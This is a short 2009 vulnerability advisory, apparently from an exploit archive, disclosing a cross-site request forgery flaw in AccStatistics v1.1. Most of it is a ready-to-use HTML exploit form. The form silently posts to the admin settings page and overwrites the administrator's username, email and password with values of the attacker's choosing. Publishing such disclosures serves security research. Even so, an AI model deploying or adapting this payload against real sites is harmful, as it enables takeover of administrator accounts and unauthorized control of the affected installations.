[-------------------------------------------------------------------------------------------------]
[ Title: AccStatistics v1.1 XSRF Vulnerability (Change Admin Settings) ]
[ Author: Milos Zivanovic ]
[ Date: 13. December 2009. ]
[-------------------------------------------------------------------------------------------------]
[-------------------------------------------------------------------------------------------------]
[ Application: AccStatistics ]
[ Version: v1.1 ]
[ Download: http://www.accstatistics.com/download/accstatistics.zip ]
[ Vulnerability: Cross Site Request Forgery ]
[-------------------------------------------------------------------------------------------------]
I've tested this on demo version where name attribute of submit button is 'preview'. I doubt that's
the name in the real thing. I don't know what is the name tag of it but it's usually 'submit' or
'save' (could be something other).
With this exploit we can change allot of stuff, but some of the most critical would be:
username, email, password...
[EXPLOIT------------------------------------------------------------------------------------------]
<form action="http://localhost/accstatistics/demo/index.php" method="POST">
<input type="hidden" name="p" value="edit1">
<input type="hidden" name="id" value="1">
<input type="hidden" id="input_username" name="input_username" value="admin">
<input type="hidden" id="input_email" name="input_email" value="my@email.com">
<input type="password" id="input_password" name="input_password" value="hacked">
<input type="password" id="input_password1" name="input_password1" value="hacked">
<input type="hidden" id="input_sitename" name="input_sitename" value="AccStatistics">
<input type="hidden" id="input_ignoredomains" name="input_ignoredomains" value="">
<input type="hidden" id="input_ignoremyvisits" name="input_ignoremyvisits" value="1">
<input type="hidden" id="input_ignoresubdomenins" name="input_ignoresubdomenins" value="1">
<input type="hidden" id="input_rowsperpage" name="input_rowsperpage" value="30">
<input type="checkbox" id="input_reset" name="input_reset" value="1">
<input type="submit" name="preview" value="Save">
</form>
[EXPLOIT------------------------------------------------------------------------------------------]
[----------------------------------------------EOF------------------------------------------------]
